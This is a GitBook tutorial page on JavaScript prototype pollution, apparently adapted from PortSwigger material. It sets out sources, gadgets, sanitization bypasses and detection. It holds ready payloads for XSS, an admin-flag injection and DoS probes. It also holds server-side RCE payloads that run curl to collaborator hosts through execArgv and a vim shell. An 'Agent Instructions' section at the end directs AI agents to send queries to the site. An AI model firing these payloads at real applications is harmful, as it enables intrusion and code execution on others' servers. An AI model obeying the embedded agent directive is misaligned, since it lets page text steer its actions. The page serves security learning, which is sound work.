# Prototype pollution

{% hint style="info" %}
Source of object prototypes: <https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes>

content source: portswigger
{% endhint %}

Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects. It leads to `input filter bypass`, `parameter injection` and `denial of service`.

## Example of objects in javascript:

<pre class="language-javascript"><code class="lang-javascript">> const user =  {
    username: "wiener",
    userId: 01234,
    isAdmin: false
<strong> }
</strong>
> user.username     // "wiener"
<strong>> user['userId']    // 01234
</strong></code></pre>

## Example of prototype:

```javascript
> let a = {};
> a.__proto__ = {"key": "value"};     //data[type] = {"key":"value"}
> a.key
'value'
```

## Cause of Prototype:

1.**JSON.parse()**

```javascript
let obj = {a: 1};
obj.__proto__ === Object.prototype // true
obj.hasOwnProperty('__proto__'); // false
let json = '{"__proto__":"WTF"}';

JSON.parse(json).hasOwnProperty('__proto__');// true!
let obj = JSON.parse('{"a":123,"b":123,"__proto__":{"pollute":true}}');
// this object will pollute the global Object prototype if used with a vulnerable merge operation
```

2.Vulnerable libraries:

One such library is Lodash, which has a method called `merge().`

## Development of prototype pollution vulnerabilities:

Successful exploitation of prototype pollution requires the following key components.

We might find the vulnerability by searching for keywords such as `location.hash`, `decodeURIComponent`, or `location.search` in the Chrome Developer Tools.

### 1.Prototype pollution sources:

#### A. Via the URL:

```url
https://vulnerable-website.com/?__proto__[evilProperty]=payload

```

payload,

```url
https://vulnerable-website.com/?__proto__[bar]=bar&constructor[prototype][a42e5579]=dm2wcpyc&constructor.prototype.b1a3fd5b=dm2wcpyc&__proto__.ccd80966=dm2wcpyc&__proto__[dcb52823]=dm2wcpyc#constructor[prototype][a3aa3232]=dm2wcpyc&constructor.prototype.bf1e103d=dm2wcpyc&__proto__.c5e2cbce=dm2wcpyc&__proto__[d0992d86]=dm2wcpyc
```

#### B. Via JSON input:

```
{
    "__proto__": {
        "evilProperty": "payload"
    }
}
```

#### C. Via web messages:

### 2. Prototype pollution sinks:

same as sink used for dom xss.

## 3. Prototype pollution gadgets:

### Example of prototype pollution gadgets:

Many JavaScript libraries accept an object that developers can use to set different configuration options. The library code checks whether the developer has explicitly added certain properties to this object and, if so, adjusts the configuration accordingly. If a property that represents a particular option is not present, a predefined default option is often used instead. A simplified example may look something like this:

`let transport_url = config.transport_url || defaults.transport_url;`

Now imagine the library code uses this `transport_url` to add a script reference to the page:

``let script = document.createElement('script'); script.src = `${transport_url}/example.js`; document.body.appendChild(script);``

If the website's developers haven't set a `transport_url` property on their `config` object, this is a potential gadget.&#x20;

If the prototype can be polluted via a query parameter, for example,&#x20;

`https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net`

By providing a `data:` URL,&#x20;

`https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//`

Note that the trailing `//` in this example is simply to comment out the hardcoded `/example.js` suffix.

## Client-side prototype pollution vulnerabilities:

### Detecting:

1. Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:

```
vulnerable-website.com/?__proto__[foo]=bar&__proto__.foo=bar#__proto__[foo]=bar         ***
```

2. In  browser console, inspect `Object.prototype` to see if you have successfully polluted it with your arbitrary property:

`Object.prototype.foo // "bar" indicates that you have successfully polluted the prototype // undefined indicates that the attack was not successful`

3. If the property was not added to the prototype, try using different techniques,such as

```
vulnerable-website.com/?__proto__.foo=bar
```

### Finding client-side prototype pollution gadgets manually:

1. Add a `debugger` statement at the start of the script, then forward any remaining requests and responses.
2. In Burp's browser, go to the page on which the target script is loaded. The `debugger` statement pauses execution of the script.
3. While the script is still paused, switch to the console and enter the following command, replacing `YOUR-PROPERTY` with one of the properties that you think is a potential gadget:

   `Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } })`

   The property is added to the global `Object.prototype`, and the browser will log a stack trace to the console whenever it is accessed.
4. Press the button to continue execution of the script and monitor the console. If a stack trace appears, this confirms that the property was accessed somewhere within the application.
5. Expand the stack trace and use the provided link to jump to the line of code where the property is being read.
6. Using the browser's debugger controls, step through each phase of execution to see if the property is passed to a sink, such as `innerHTML` or `eval()`.
7. Repeat this process for any properties that you think are potential gadgets.

### Prototype pollution in external libraries:

prototype pollution gadgets may occur in third-party libraries that are imported by the application.

### Prototype pollution via the constructor:

```javascript
let myObjectLiteral = {};
let myObject = new Object();
```

You can then reference the `Object()` constructor via the built-in `constructor` property:

```javascript
myObjectLiteral.constructor // function Object(){...}
myObject.constructor // function Object(){...}
```

Remember that functions are also just objects under the hood. Each constructor function has a `prototype` property, which points to the prototype that will be assigned to any objects that are created by this constructor. As a result, you can also access any object's prototype as follows:

```
myObject.constructor.prototype // Object.prototype 
myString.constructor.prototype // String.prototype 
myArray.constructor.prototype // Array.prototype
```

As `myObject.constructor.prototype` is equivalent to `myObject.__proto__`, this provides an alternative vector for prototype pollution.

### Bypassing flawed key sanitization:

Example,

&#x20;consider the following URL:

```url
vulnerable-website.com/?__pro__proto__to__.gadget=payload
```

If the sanitization process just strips the string `__proto__` without repeating this process more than once, this would result in the following URL, which is a potentially valid prototype pollution source:

```
vulnerable-website.com/?__proto__.gadget=payload
```

### Prototype pollution via browser APIs:

#### Via fetch() Api:

Example:

```javascript
fetch('/my-products.json',{method:"GET"})
    .then((response) => response.json())
    .then((data) => {
        let username = data['x-username'];
        let message = document.querySelector('.message');
        if(username) {
            message.innerHTML = `My products. Logged in as <b>${username}</b>`;
        }
        let productList = document.querySelector('ul.products');
        for(let product of data) {
            let product = document.createElement('li');
            product.append(product.name);
            productList.append(product);
        }
    })
    .catch(console.error);
```

Payload:

```url
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
```

#### Via Object.defineProperty():

Example:

```
Object.defineProperty(vulnerableObject, 'gadgetProperty', {
    configurable: false,
    writable: false
})
```

In this case, an attacker may be able to bypass this defense by polluting `Object.prototype` with a malicious `value` property.

example,

```
/?__proto__[value]=foo
```

## Server-side prototype pollution:

{% hint style="info" %}
Research: <https://portswigger.net/research/server-side-prototype-pollution>
{% endhint %}

Example,

```http
POST /user/update HTTP/1.1
Host: vulnerable-website.com

{
    "user":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "__proto__":{
        "foo":"bar"
    }
}
```

If the website is vulnerable, your injected property would then appear in the updated object in the response:

```http
HTTP/1.1 200 OK

{
    "username":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "foo":"bar"
}
```

Then, we can exploit it by  injecting  `"__proto__": { "isAdmin":true }`

In rare cases, the website may even use these properties to dynamically generate HTML, resulting in the injected property being rendered in your browser.

### Detecting server-side prototype pollution without polluted property reflection:

{% hint style="info" %}
Node applications can also delete or disable `__proto__` altogether using the command-line flags `--disable-proto=delete` or `--disable-proto=throw` respectively. However, this can also be bypassed by using the **constructor t**echnique.
{% endhint %}

Example of constructor method:

```json
"constructor": {
    "prototype": {
        "json spaces":10
    }
}

```

{% hint style="info" %}
Burp Extension: **Server-Side Prototype Pollution Scanner**
{% endhint %}

#### Content type: <a href="#content-type" id="content-type"></a>

<figure><img src="/files/a2qHUb26xAFATDKq8Ibb" alt=""><figcaption></figcaption></figure>

Status:

<figure><img src="/files/m6D5q3KM12vuGdTNqFM1" alt=""><figcaption></figcaption></figure>

Json space:

<figure><img src="/files/yVlGRtoCICJD7qMG27LE" alt=""><figcaption></figcaption></figure>

```json
{"__proto__":{"json spaces":"5"}}
```

Options:

<figure><img src="/files/BS6hcxToiul0r5OwuEgi" alt=""><figcaption></figcaption></figure>

#### Detection methods that cause DoS:

```
{"__proto__":{"encoding":"x"}}
```

<figure><img src="/files/VOXR7qFQGGK12mbN6HHC" alt=""><figcaption><p>Construction Method</p></figcaption></figure>

### Remote code execution: <a href="#remote-code-execution-via-server-side-prototype-pollution" id="remote-code-execution-via-server-side-prototype-pollution"></a>

#### Identifying a vulnerable request via a DNS probe: <a href="#identifying-a-vulnerable-request" id="identifying-a-vulnerable-request"></a>

```javascript
"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
```

#### RCE via child\_process.fork(): <a href="#remote-code-execution-via-child-process-fork" id="remote-code-execution-via-child-process-fork"></a>

```javascript
"execArgv": [
    "--eval=require('<module>')"
]
```

```json
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://YOUR-DOMAIN.COM')"
    ]
}
```

#### RCE via child\_process.execSync() <a href="#remote-code-execution-via-child-process-execsync" id="remote-code-execution-via-child-process-execsync"></a>

```json
"shell":"vim",
"input":":! <command>\n"
```

```json
"__proto__": {
    "shell":"vim",
    "input":":! curl https://YOUR-COLLABORATOR-ID.oastify.com\n"
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/prototype-pollution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
